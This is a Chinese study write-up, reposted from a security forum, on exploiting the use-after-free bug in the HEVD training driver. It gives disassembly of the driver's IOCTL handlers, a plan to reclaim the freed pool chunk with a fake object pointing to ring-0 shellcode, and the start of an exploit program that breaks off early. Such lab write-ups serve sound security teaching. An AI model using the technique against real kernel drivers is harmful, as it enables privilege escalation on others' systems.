Press "Enter" to skip to content

HEVD学习笔记——UAF

 

 

本文为看雪论坛优秀文章
看雪论坛作者ID:1900

 

 

介绍

 

HEVD作为一个优秀的内核漏洞靶场受到大家的喜欢,靶场地址 HackSysExtremeVulnerableDriver。这里选择x86的驱动来进行黑盒测试学习内核漏洞,作为学习笔记记录下来。

 

实验环境:

 

 

 

驱动信息

 

1、WinDbg

 

装载驱动以后首先使用WinDbg查看驱动的内容

 

SXS.DLL: Read 0 bytes from XML stream; HRESULT returned = 0x00000000
SXS.DLL: Creating 756 byte file mapping


 ##     ## ######## ##     ## ########  
 ##     ## ##       ##     ## ##     ## 
 ##     ## ##       ##     ## ##     ## 
 ######### ######   ##     ## ##     ## 
 ##     ## ##        ##   ##  ##     ## 
 ##     ## ##         ## ##   ##     ## 
 ##     ## ########    ###    ########  
   HackSys Extreme Vulnerable Driver    
             Version: 3.00              
[+] HackSys Extreme Vulnerable Driver Loaded


2: kd> lm m HEVD
start    end        module name
98c78000 98cc2000   HEVD       (deferred)             
2: kd> !drvobj HEVD 2
Driver object (87d68b90) is for:
*** ERROR: Module load completed but symbols could not be loaded for HEVD.sys
 \Driver\HEVD
DriverEntry:   98cc00ea  HEVD
DriverStartIo: 00000000   
DriverUnload:  98cbc000   HEVD
AddDevice:     00000000   


Dispatch routines:
[00] IRP_MJ_CREATE                      98cbc048 HEVD+0x44048
[01] IRP_MJ_CREATE_NAMED_PIPE           98cbc5c2    HEVD+0x445c2
[02] IRP_MJ_CLOSE                       98cbc048    HEVD+0x44048
[03] IRP_MJ_READ                        98cbc5c2   HEVD+0x445c2
[04] IRP_MJ_WRITE                       98cbc5c2    HEVD+0x445c2
[05] IRP_MJ_QUERY_INFORMATION           98cbc5c2    HEVD+0x445c2
[06] IRP_MJ_SET_INFORMATION             98cbc5c2  HEVD+0x445c2
[07] IRP_MJ_QUERY_EA                    98cbc5c2   HEVD+0x445c2
[08] IRP_MJ_SET_EA                      98cbc5c2 HEVD+0x445c2
[09] IRP_MJ_FLUSH_BUFFERS               98cbc5c2    HEVD+0x445c2
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    98cbc5c2   HEVD+0x445c2
[0b] IRP_MJ_SET_VOLUME_INFORMATION      98cbc5c2 HEVD+0x445c2
[0c] IRP_MJ_DIRECTORY_CONTROL           98cbc5c2    HEVD+0x445c2
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         98cbc5c2  HEVD+0x445c2
[0e] IRP_MJ_DEVICE_CONTROL              98cbc064 HEVD+0x44064
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     98cbc5c2  HEVD+0x445c2
[10] IRP_MJ_SHUTDOWN                    98cbc5c2   HEVD+0x445c2
[11] IRP_MJ_LOCK_CONTROL                98cbc5c2   HEVD+0x445c2
[12] IRP_MJ_CLEANUP                     98cbc5c2  HEVD+0x445c2
[13] IRP_MJ_CREATE_MAILSLOT             98cbc5c2  HEVD+0x445c2
[14] IRP_MJ_QUERY_SECURITY              98cbc5c2 HEVD+0x445c2
[15] IRP_MJ_SET_SECURITY                98cbc5c2   HEVD+0x445c2
[16] IRP_MJ_POWER                       98cbc5c2    HEVD+0x445c2
[17] IRP_MJ_SYSTEM_CONTROL              98cbc5c2 HEVD+0x445c2
[18] IRP_MJ_DEVICE_CHANGE               98cbc5c2    HEVD+0x445c2
[19] IRP_MJ_QUERY_QUOTA                 98cbc5c2  HEVD+0x445c2
[1a] IRP_MJ_SET_QUOTA                   98cbc5c2    HEVD+0x445c2
[1b] IRP_MJ_PNP                         98cbc5c2  HEVD+0x445c2

 

驱动装载的地址是0x98C78000,DriverEntry的地址是0x98CC00EA,所以DriverEntry的偏移地址是0x480EA。IRP_MJ_DEVICE_CONTROL的分发函数偏移地址0x445C2。

 

2、IDA Pro

 

使用IDA对驱动进行分析,可以看到在DriverEntry首先是创建了设备对象

 

INIT:00448036                 push    eax             ; DeviceObject
INIT:00448037                 push    edi             ; Exclusive
INIT:00448038                 push    FILE_DEVICE_SECURE_OPEN ; DeviceCharacteristics
INIT:0044803D                 push    FILE_DEVICE_UNKNOWN ; DeviceType
INIT:0044803F                 lea     eax, [ebp+DestinationString]
INIT:00448042                 push    eax             ; DeviceName
INIT:00448043                 push    edi             ; DeviceExtensionSize
INIT:00448044                 push    ebx             ; DriverObject
INIT:00448045                 call    ds:IoCreateDevice

 

随后就是对分发函数的赋值以及符号链接的创建:

 

INIT:00448075                 push    1Ch
INIT:00448077                 pop     ecx
INIT:00448078                 mov     eax, offset DispatchCommon
INIT:0044807D                 lea     edi, [ebx+DRIVER_OBJECT.MajorFunction]
INIT:00448080                 rep stosd
INIT:00448082                 mov     eax, offset DispatchCreateAndClose
INIT:00448087                 mov     dword ptr [ebx+70h], offset DispatchIoCtrl
INIT:0044808E                 mov     [ebx+38h], eax
INIT:00448091                 mov     [ebx+40h], eax
INIT:00448094                 mov     eax, [ebp+DeviceObject]
INIT:00448097                 mov     [ebx+_DRIVER_OBJECT.DriverUnload], offset DriverUnload
INIT:0044809E                 or      [eax+DEVICE_OBJECT.Flags], DO_DIRECT_IO
INIT:004480A2                 mov     eax, [ebp+DeviceObject]
INIT:004480A5                 and     [eax+DEVICE_OBJECT.Flags], 0FFFFFF7Fh
INIT:004480AC                 lea     eax, [ebp+DestinationString]
INIT:004480AF                 push    eax             ; DeviceName
INIT:004480B0                 lea     eax, [ebp+SymbolicLinkName]
INIT:004480B3                 push    eax             ; SymbolicLinkName
INIT:004480B4                 call    ds:IoCreateSymbolicLink

 

而根据IDA识别的结果就可以得知符号名,根据符号名就可以完成和驱动的连接与通信:

 

INIT:00448134 aDeviceHacksyse:                        ; DATA XREF: DriverEntry(x,x)+14↑o
INIT:00448134                 text "UTF-16LE", '\Device\HackSysExtremeVulnerableDriver',0
INIT:00448182 ; const WCHAR aDosdevicesHack_0
INIT:00448182 aDosdevicesHack_0:                      ; DATA XREF: DriverEntry(x,x)+25↑o
INIT:00448182                 text "UTF-16LE", '\DosDevices\HackSysExtremeVulnerableDriver',0

 

而在DispatchIoCtrl中,程序将IoControlCode取出减去0x222003以后得到下标,在用这个下标从Index_Table中取出函数地址表的下标。

 

在根据这个地址表的下标从Func_Table中获得函数地址以后跳转到该函数执行:

 

PAGE:00444064 ; int __stdcall DispatchIoCtrl(int, PIRP Irp)
PAGE:00444064 DispatchIoCtrl  proc near               ; DATA XREF: DriverEntry(x,x)+87↓o
PAGE:00444064
PAGE:00444064 Irp             = dword ptr  0Ch
PAGE:00444064
PAGE:00444064                 push    ebp
PAGE:00444065                 mov     ebp, esp
PAGE:00444067                 push    ebx
PAGE:00444068                 push    esi
PAGE:00444069                 push    edi
PAGE:0044406A                 mov     edi, [ebp+Irp]
PAGE:0044406D                 mov     ebx, STATUS_NOT_SUPPORTED
PAGE:00444072                 mov     eax, [edi+60h]  ; 取出CurrentStackLocation指针赋给eax
PAGE:00444075                 test    eax, eax
PAGE:00444077                 jz      loc_4444C5
PAGE:0044407D                 mov     ebx, eax
PAGE:0044407F                 mov     ecx, [ebx+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
PAGE:00444082                 lea     eax, [ecx-222003h] ; switch 109 cases
PAGE:00444088                 cmp     eax, 6Ch
PAGE:0044408B                 ja      loc_4444AD      ; jumptable 00444098 default case
PAGE:00444091                 movzx   eax, ds:Index_Table[eax]
PAGE:00444098                 jmp     ds:Func_Table[eax*4] ; switch jump

 

而这两张表的内容如下,其中的FuncTable中的每一个地址都代表了不同的漏洞:

 

PAGE:004444E0 Func_Table      dd offset loc_44409F, offset loc_4440CF, offset loc_4440F1
PAGE:004444E0                                         ; DATA XREF: DispatchIoCtrl+34↑r
PAGE:004444E0                 dd offset loc_444113, offset loc_444135, offset loc_44415A ; jump table for switch statement
PAGE:004444E0                 dd offset loc_44417F, offset loc_4441A4, offset loc_4441C9
PAGE:004444E0                 dd offset loc_4441EE, offset loc_444213, offset loc_444238
PAGE:004444E0                 dd offset loc_44425D, offset loc_444282, offset loc_4442A7
PAGE:004444E0                 dd offset loc_4442CC, offset loc_4442F1, offset loc_444316
PAGE:004444E0                 dd offset loc_44433B, offset loc_444360, offset loc_444385
PAGE:004444E0                 dd offset loc_4443AA, offset loc_4443CF, offset loc_4443F4
PAGE:004444E0                 dd offset loc_444419, offset loc_44443E, offset loc_444463
PAGE:004444E0                 dd offset loc_444488, offset loc_4444AD
PAGE:00444554 Index_Table     db      0,   1Ch,   1Ch,   1Ch
PAGE:00444554                                         ; DATA XREF: DispatchIoCtrl+2D↑r
PAGE:00444554                 db      1,   1Ch,   1Ch,   1Ch ; indirect table for switch statement
PAGE:00444554                 db      2,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db      3,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db      4,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db      5,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db      6,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db      7,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db      8,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db      9,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    0Ah,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    0Bh,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    0Ch,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    0Dh,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    0Eh,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    0Fh,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    10h,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    11h,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    12h,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    13h,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    14h,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    15h,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    16h,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    17h,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    18h,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    19h,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    1Ah,   1Ch,   1Ch,   1Ch
PAGE:00444554                 db    1Bh
PAGE:004445C1                 align 2

 

如果取出的函数地址表的下标是0x1C,那幺对应的就是最后一个跳转地址,也就是loc_4444AD。

 

而这个地址中的代码是在告知用户,发送的IOCTL是不合法的IOCTL:

 

PAGE:004444AD loc_4444AD:                             ; CODE XREF: DispatchIoCtrl+27↑j
PAGE:004444AD                                         ; DispatchIoCtrl+34↑j
PAGE:004444AD                                         ; DATA XREF: ...
PAGE:004444AD                 push    ecx             ; jumptable 00444098 default case
PAGE:004444AE                 push    offset aInvalidIoctlCo ; "[-] Invalid IOCTL Code: 0x%X
"
PAGE:004444B3                 push    3               ; Level
PAGE:004444B5                 push    DPFLTR_IHVDRIVER_ID ; ComponentId
PAGE:004444B7                 call    ds:DbgPrintEx
PAGE:004444BD                 add     esp, 10h
PAGE:004444C0                 mov     ebx, STATUS_INVALID_DEVICE_REQUEST
PAGE:004444C5
PAGE:004444C5 loc_4444C5:                             ; CODE XREF: DispatchIoCtrl+13↑j
PAGE:004444C5                                         ; DispatchIoCtrl+66↑j
PAGE:004444C5                 and     [edi+_IRP.IoStatus.Information], 0
PAGE:004444C9                 xor     dl, dl          ; PriorityBoost
PAGE:004444CB                 mov     ecx, edi        ; Irp
PAGE:004444CD                 mov     [edi+_IRP.IoStatus.anonymous_0.Status], ebx
PAGE:004444D0                 call    ds:IofCompleteRequest
PAGE:004444D6                 pop     edi
PAGE:004444D7                 pop     esi
PAGE:004444D8                 mov     eax, ebx
PAGE:004444DA                 pop     ebx
PAGE:004444DB                 pop     ebp
PAGE:004444DC                 retn    8
PAGE:004444DC DispatchIoCtrl  endp

 

这就可以知道,要触发不同的漏洞,IOCTL是从0x222003开始,每次都要增加4,最多可以增加0x1B次。

 

 

漏洞原理

 

释放重引用漏洞(UAF)产生的原因是对已经释放的内存区域进行使用,导致了内存崩溃或者任意代码的执行。比如下面这段代码:

 

#include <windows.h>
#include <cstdio>


int main(int argc, char **argv)
{
    char *buf1;
    char *buf2;




    buf1 = (char *)malloc(0x100);    // 为buf1申请一段堆内存
    printf("buf1: 0x%p
", buf1);
    free(buf1);                     // 将这段内存释放掉,但是buf1并没有赋值为NULL


    buf2 = (char *)malloc(0x100);    // 为buf2申请同样大的堆内存,这时候之前buf1申请然后释放掉的堆内存就会给buf2 
    printf("buf2: 0x%p
", buf2);


    memset(buf2, 0, 0x100);          
    printf("buf2: %s
", buf2);       // 将这段内存初始化以后输出


    // 由于这段堆内存被buf2重新申请,它将会有效,此时堆buf1的操作也会有效
    // 又因为它们两个指向同一块堆内存,所以对buf1的操作也会影响到buf2
    printf("======Use After Free======
");
    strncpy(buf1, "Hello 1900", strlen("hello 1900")); 
    printf("buf2: %s
", buf2);


    return 0;
}

 

由于free掉buf1以后,没有及时地将buf1的指针清空,导致随后对buf1的操作将会有效,从而影响了buf2的数据。最终输出如下图:

 

 

所以要利用UAF漏洞,需要以下的几个步骤:

 

1、申请一块内存以后释放掉它,但是没有清空该内存的指针

 

2、重新申请一块同样大小的内存,此时这两个指针对指向同一块内存

 

3、对第一步的指针进行操作,它将会影响到第二步申请的指针指向的内存

 

 

漏洞分析

 

在HEVD中,有4个函数是用来实现本次的漏洞,分别是:

 

1、AllocateUAFObjectNonPagedPoolIoCtrlHandler:用来申请一块内存

 

2、UseUAFObjectNonPagedPoolIoCtrlHandler:对申请的内存的使用

 

3、FreeUAFObjectNonPagedPoolIoCtrlHandler:释放申请的内存

 

4、AllocateFakeObjectNonPagedPoolIoCtrlHandler:申请和第一步同样大小的内存并对其进行修改

 

1、AllocateUAFObjectNonPagedPoolIoCtrlHandler

 

该函数是函数地址表中的第5个函数,所以对应的IOCTL为0x222003 + 4 * 4。

 

PAGE:00444135 loc_444135:                             ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:00444135                                         ; DATA XREF: PAGE:Func_Table↓o
PAGE:00444135                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236435
PAGE:0044413B                 push    offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...
PAGE:00444140                 push    3               ; Level
PAGE:00444142                 push    4Dh             ; ComponentId
PAGE:00444144                 call    esi ; DbgPrintEx
PAGE:00444146                 add     esp, 0Ch
PAGE:00444149                 push    ebx             ; 将CurrentStackLocation指针入栈
PAGE:0044414A                 push    edi             ; 将IRP的指针入栈
PAGE:0044414B                 call    AllocateUAFObjectNonPagedPoolIoCtrlHandler
PAGE:00444150                 push    offset aHevdIoctlAlloc ; "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_N"...
PAGE:00444155                 jmp     loc_4440BF

 

程序将参数入栈以后就调用了AllocateUAFObjectNonPagedPoolCtrlHandler,继续看该函数:

 

PAGE:0044635A AllocateUAFObjectNonPagedPoolIoCtrlHandler proc near
PAGE:0044635A                                         ; CODE XREF: DispatchIoCtrl+E7↑p
PAGE:0044635A                 call    AllocateUAFObjectNonePagedPool
PAGE:0044635F                 retn    8
PAGE:0044635F AllocateUAFObjectNonPagedPoolIoCtrlHandler endp

 

在该函数中,只是调用了AllocateUAFObjectNonPagedPool,继续跟进这个函数。

 

PAGE:00446236 AllocateUAFObjectNonePagedPool proc near
PAGE:00446236                                         ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓p
PAGE:00446236
PAGE:00446236 var_1C          = dword ptr -1Ch
PAGE:00446236 ms_exc          = CPPEH_RECORD ptr -18h
PAGE:00446236
PAGE:00446236                 push    0Ch
PAGE:00446238                 push    offset stru_402580
PAGE:0044623D                 call    __SEH_prolog4
PAGE:00446242                 mov     edi, STATUS_UNSUCCESSFUL
PAGE:00446247                 and     dword ptr [ebp-4], 0
PAGE:0044624B                 push    offset aAllocatingUafO ; "[+] Allocating UaF Object
"
PAGE:00446250                 push    3               ; Level
PAGE:00446252                 push    4Dh             ; ComponentId
PAGE:00446254                 mov     esi, ds:DbgPrintEx
PAGE:0044625A                 call    esi ; DbgPrintEx
PAGE:0044625C                 add     esp, 0Ch
PAGE:0044625F                 push    'kcaH'          ; Tag
PAGE:00446264                 push    58h             ; NumberOfBytes
PAGE:00446266                 push    NonPagedPool    ; PoolType
PAGE:00446268                 call    ds:ExAllocatePoolWithTag
PAGE:0044626E                 mov     ebx, eax        ; 将申请到的内存的地址赋给ebx
PAGE:00446270                 test    ebx, ebx
PAGE:00446272                 jnz     short loc_446291

 

可以看到,该函数中首先申请了一块0x58大小,tag为Hack的内存,并将指针赋给ebx。

 

PAGE:00446236 AllocateUAFObjectNonePagedPool proc near
PAGE:00446236                                         ; CODE XREF: AllocateUAFObjectNonPagedPoolIoCtrlHandler↓p
PAGE:00446236
PAGE:00446236 var_1C          = dword ptr -1Ch
PAGE:00446236 ms_exc          = CPPEH_RECORD ptr -18h
PAGE:00446236
PAGE:00446236                 push    0Ch
PAGE:00446238                 push    offset stru_402580
PAGE:0044623D                 call    __SEH_prolog4
PAGE:00446242                 mov     edi, STATUS_UNSUCCESSFUL
PAGE:00446247                 and     dword ptr [ebp-4], 0
PAGE:0044624B                 push    offset aAllocatingUafO ; "[+] Allocating UaF Object
"
PAGE:00446250                 push    3               ; Level
PAGE:00446252                 push    4Dh             ; ComponentId
PAGE:00446254                 mov     esi, ds:DbgPrintEx
PAGE:0044625A                 call    esi ; DbgPrintEx
PAGE:0044625C                 add     esp, 0Ch
PAGE:0044625F                 push    'kcaH'          ; Tag
PAGE:00446264                 push    58h             ; NumberOfBytes
PAGE:00446266                 push    NonPagedPool    ; PoolType
PAGE:00446268                 call    ds:ExAllocatePoolWithTag
PAGE:0044626E                 mov     ebx, eax        ; 将申请到的内存的地址赋给ebx
PAGE:00446270                 test    ebx, ebx
PAGE:00446272                 jnz     short loc_446291

 

随后程序会将这段内存的前4个字节赋值为UAFObjectCallbackNonPagedPool,后面的字节赋值为’A’,并将申请到的内存保存在全局变量中。而前4字节保存的函数只是一个简单的输出函数。

 

PAGE:00446418 UAFObjectCallbackNonPagedPool proc near ; DATA XREF: AllocateUAFObjectNonePagedPool+A8↑o
PAGE:00446418                 push    offset aUseafterFreeOb ; "[+] UseAfter Free Object Callback NonPa"...
PAGE:0044641D                 push    3               ; Level
PAGE:0044641F                 push    4Dh             ; ComponentId
PAGE:00446421                 call    ds:DbgPrintEx
PAGE:00446427                 add     esp, 0Ch
PAGE:0044642A                 retn
PAGE:0044642A UAFObjectCallbackNonPagedPool endp

 

由此可知,AllocateUAFObjectNonPagedPoolIoCtrlHandler做的事情是,申请一块0x58大小的内存。该内存的前4字节赋值为一个函数地址,后面的字节赋值为’A’。而这块内存的地址也会被赋值到全局变量g_UseAfterFreeObjectNonPagedPool中。

 

2、UseUAFObjectNonPagedPoolIoCtrlHandler

 

该函数是函数表中的第6个函数,对应的IOCTL是0x222003 + 5 * 4。而该IOCTL的操作是对UseUAFObjectNonPagedPoolIoCtrlHandler的调用,而在该函数中会调用UseUAFObjectNonPagedPool。

 

PAGE:0044415A loc_44415A:                             ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:0044415A                                         ; DATA XREF: PAGE:Func_Table↓o
PAGE:0044415A                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236439
PAGE:00444160                 push    offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...
PAGE:00444165                 push    3               ; Level
PAGE:00444167                 push    4Dh             ; ComponentId
PAGE:00444169                 call    esi ; DbgPrintEx
PAGE:0044416B                 add     esp, 0Ch
PAGE:0044416E                 push    ebx
PAGE:0044416F                 push    edi
PAGE:00444170                 call    UseUAFObjectNonPagedPoolIoCtrlHandler
PAGE:00444175                 push    offset aHevdIoctlUseUa ; "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PA"...
PAGE:0044417A                 jmp     loc_4440BF
 
================================================================================================
 
PAGE:004464E8 UseUAFObjectNonPagedPoolIoCtrlHandler proc near
PAGE:004464E8                                         ; CODE XREF: DispatchIoCtrl+10C↑p
PAGE:004464E8                 call    UseUAFObjectNonPagedPool
PAGE:004464ED                 retn    8
PAGE:004464ED UseUAFObjectNonPagedPoolIoCtrlHandler endp

 

在UseUAFObjectNonPagedPool中,函数首先会对全局变量g_UseAfterFreeObjectNonPagedPool进行判断,判断该变量中是否保存了内存地址。

 

PAGE:00446441                 cmp     g_UserAfterFreeObjectNonPagedPool, 0 ; 判断全局变量中是否保存了地址
PAGE:00446448                 jz      loc_4464CE

 

随后就是对地址的前四字节进行判断,是否保存了函数地址,如果保存了就调用这个函数。

 

PAGE:00446495                 mov     eax, [eax]      ; 取出函数地址
PAGE:00446497                 test    eax, eax        ; 函数地址是否有效
PAGE:00446499                 jz      short loc_44649D
PAGE:0044649B                 call    eax             ; 对函数进行调用

 

3、FreeUAFObjectNonPagedPoolIoCtrlHandler

 

该函数是地址表中的第7个函数,对应的IOCTL是0x222003 + 6 * 4。而该IOCTL的操作是对FreeUAFObjectNonPagedPoolIoCtrlHandler的调用,而在该函数中会调用FreeUAFObjectNonPagedPool。

 

PAGE:0044417F loc_44417F:                             ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:0044417F                                         ; DATA XREF: PAGE:Func_Table↓o
PAGE:0044417F                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236443
PAGE:00444185                 push    offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...
PAGE:0044418A                 push    3               ; Level
PAGE:0044418C                 push    4Dh             ; ComponentId
PAGE:0044418E                 call    esi ; DbgPrintEx
PAGE:00444190                 add     esp, 0Ch
PAGE:00444193                 push    ebx
PAGE:00444194                 push    edi
PAGE:00444195                 call    FreeUAFObjectNonPagedPoolIoCtrlHandler
PAGE:0044419A                 push    offset aHevdIoctlFreeU ; "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_P"...
PAGE:0044419F                 jmp     loc_4440BF
 
======================================================================================
 
PAGE:00446410 FreeUAFObjectNonPagedPoolIoCtrlHandler proc near
PAGE:00446410                                         ; CODE XREF: DispatchIoCtrl+131↑p
PAGE:00446410                 call    FreeUAFObjectNonPagedPool
PAGE:00446415                 retn    8
PAGE:00446415 FreeUAFObjectNonPagedPoolIoCtrlHandler endp

 

而在FreeUAFObjectNonPagedPool函数中,函数首先会判断g_UseAfterFreeObjectNonPagedPool保存的地址是否为0。

 

PAGE:00446377                 cmp     g_UseAfterFreeObjectNonPagedPool, 0
PAGE:0044637E                 jz      short loc_4463F7

 

如果地址不为0,函数就会调用ExFreePoolWithTag将这段内存释放掉。

 

PAGE:004463B5                 push    'kcaH'          ; Tag
PAGE:004463BA                 push    g_UseAfterFreeObjectNonPagedPool ; P
PAGE:004463C0                 call    ds:ExFreePoolWithTag

 

4、AllocateFakeObjectNonPagedPoolIoCtrlHandler

 

该函数在函数地址表中的第8个函数,对应的IOCTL为0x222003 + 7 * 4。

 

PAGE:004441A4 loc_4441A4:                             ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:004441A4                                         ; DATA XREF: PAGE:Func_Table↓o
PAGE:004441A4                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447
PAGE:004441AA                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...
PAGE:004441AF                 push    3               ; Level
PAGE:004441B1                 push    4Dh             ; ComponentId
PAGE:004441B3                 call    esi ; DbgPrintEx
PAGE:004441B5                 add     esp, 0Ch
PAGE:004441B8                 push    ebx             ; 将CurrentStackLocation指针入栈
PAGE:004441B9                 push    edi             ; 将IRP的指针入栈
PAGE:004441BA                 call    AllocateFakeObjectNonPagedPoolIoCtlHandler
PAGE:004441BF                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...
PAGE:004441C4                 jmp     loc_4440BF

 

将IRP和CurrentStackLocation指针入栈以后就调用了AllocateFakeObjectNonPagedPoolIoCtrlHandler。

 

PAGE:004441A4 loc_4441A4:                             ; CODE XREF: DispatchIoCtrl+34↑j
PAGE:004441A4                                         ; DATA XREF: PAGE:Func_Table↓o
PAGE:004441A4                 mov     esi, ds:DbgPrintEx ; jumptable 00444098 case 2236447
PAGE:004441AA                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...
PAGE:004441AF                 push    3               ; Level
PAGE:004441B1                 push    4Dh             ; ComponentId
PAGE:004441B3                 call    esi ; DbgPrintEx
PAGE:004441B5                 add     esp, 0Ch
PAGE:004441B8                 push    ebx             ; 将CurrentStackLocation指针入栈
PAGE:004441B9                 push    edi             ; 将IRP的指针入栈
PAGE:004441BA                 call    AllocateFakeObjectNonPagedPoolIoCtlHandler
PAGE:004441BF                 push    offset aHevdIoctlAlloc_0 ; "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_"...
PAGE:004441C4                 jmp     loc_4440BF

 

在该函数中,函数会将输入缓冲区的地址取出以后入栈,接着在调用AllocateFakeObjectNonPagedPool函数。

 

PAGE:0044611C ; int __stdcall AllocateFakeObjectNonPagedPool(void *)
PAGE:0044611C AllocateFakeObjectNonPagedPool proc near
PAGE:0044611C                                         ; CODE XREF: AllocateFakeObjectNonPagedPoolIoCtlHandler+13↓p
PAGE:0044611C
PAGE:0044611C var_20          = dword ptr -20h
PAGE:0044611C var_AllocateMemory= dword ptr -1Ch
PAGE:0044611C ms_exc          = CPPEH_RECORD ptr -18h
PAGE:0044611C arg_InputBuffer = dword ptr  8
PAGE:0044611C
PAGE:0044611C                 push    10h
PAGE:0044611E                 push    offset stru_4025A0
PAGE:00446123                 call    __SEH_prolog4
PAGE:00446128                 xor     ebx, ebx
PAGE:0044612A                 mov     [ebp+ms_exc.registration.TryLevel], ebx
PAGE:0044612D                 push    offset aCreatingFakeOb ; "[+] Creating Fake Object
"
PAGE:00446132                 push    3               ; Level
PAGE:00446134                 push    4Dh             ; ComponentId
PAGE:00446136                 mov     esi, ds:DbgPrintEx
PAGE:0044613C                 call    esi ; DbgPrintEx
PAGE:0044613E                 add     esp, 0Ch
PAGE:00446141                 push    'kcaH'          ; Tag
PAGE:00446146                 push    58h             ; NumberOfBytes
PAGE:00446148                 push    ebx             ; PoolType
PAGE:00446149                 call    ds:ExAllocatePoolWithTag
PAGE:0044614F                 mov     edi, eax        ; 将申请到的地址赋给edi
PAGE:00446151                 mov     [ebp+var_AllocateMemory], edi ; 将地址赋给局部变量
PAGE:00446154                 test    edi, edi        ; 申请到的内存是否成功
PAGE:00446156                 jnz     short loc_446177
PAGE:00446158                 push    offset aUnableToAlloca_1 ; "[-] Unable to allocate Pool chunk
"
PAGE:0044615D                 push    3               ; Level
PAGE:0044615F                 push    4Dh             ; ComponentId
PAGE:00446161                 call    esi ; DbgPrintEx
PAGE:00446163                 add     esp, 0Ch
PAGE:00446166                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
PAGE:0044616D                 mov     eax, STATUS_NO_MEMORY
PAGE:00446172                 jmp     loc_446204

 

函数会申请一块0x58大,tag为Hack的内存,并将内存地址保存到edi和局部变量中。

 

PAGE:004461B3                 push    1               ; Alignment
PAGE:004461B5                 push    58h             ; Length
PAGE:004461B7                 mov     esi, [ebp+arg_InputBuffer] ; 将输入缓冲区的地址取出赋给esi
PAGE:004461BA                 push    esi             ; Address
PAGE:004461BB                 call    ds:ProbeForRead
PAGE:004461C1                 push    16h
PAGE:004461C3                 pop     ecx
PAGE:004461C4                 rep movsd
PAGE:004461C6                 mov     eax, [ebp+var_AllocateMemory]
PAGE:004461C9                 mov     [eax+57h], bl   ; 将内存最后一个字节赋值为0

 

接着函数会验证输入缓冲区的指针是否可读,然后将输入缓冲区的内容赋值到申请到的0x58字节的内存中,在对申请到的内存的最后一个字节赋值为0。

 

 

漏洞利用

 

由上面分析可以知道,申请的0x58大小的内存中的前4个字节保存了一个函数地址。正常情况下,通过对UseUAFObjectNonPagedPoolIoCtrlHandler的调用就会调用程序分配的那个函数,如下图所示:

 

 

可是,在释放内存的时候,程序没有对全局变量进行处理。这样,如果释放完内存以后,调用AllocateFakeObjectNonPagedPoolIoCtrlHandler的时候,程序会申请0x58大小的内存,这个时候就会得到和全局变量所指地址一样的内存区域。

 

而此时我们通过构造输入缓冲区的前4字节来指定为ShellCode的函数地址,这样就会改变全局变量所指的内存的前4字节,这个时候在调用UseUAFObjectNonPagedPoolIoCtrlHandler的时候,就会调用指定的ShellCode函数地址。

 

完整的exp代码如下:

 

// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")
 
#define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
 
void ShowError(PCHAR msg, DWORD ErrorCode);
NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength);
 
BOOL g_bIsExecute = FALSE;
 
int main()
{
    NTSTATUS status = STATUS_SUCCESS;
    HANDLE hDevice = NULL;
    DWORD dwReturnLength = 0;
    STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CONST DWORD dwAllocateIoCtl = 0x222003 + 4 * 4;
    CONST DWORD dwUseIoCtl = 0x222003 + 5 * 4;
    CONST DWORD dwFreeIoCtl = 0x222003 + 6 * 4;
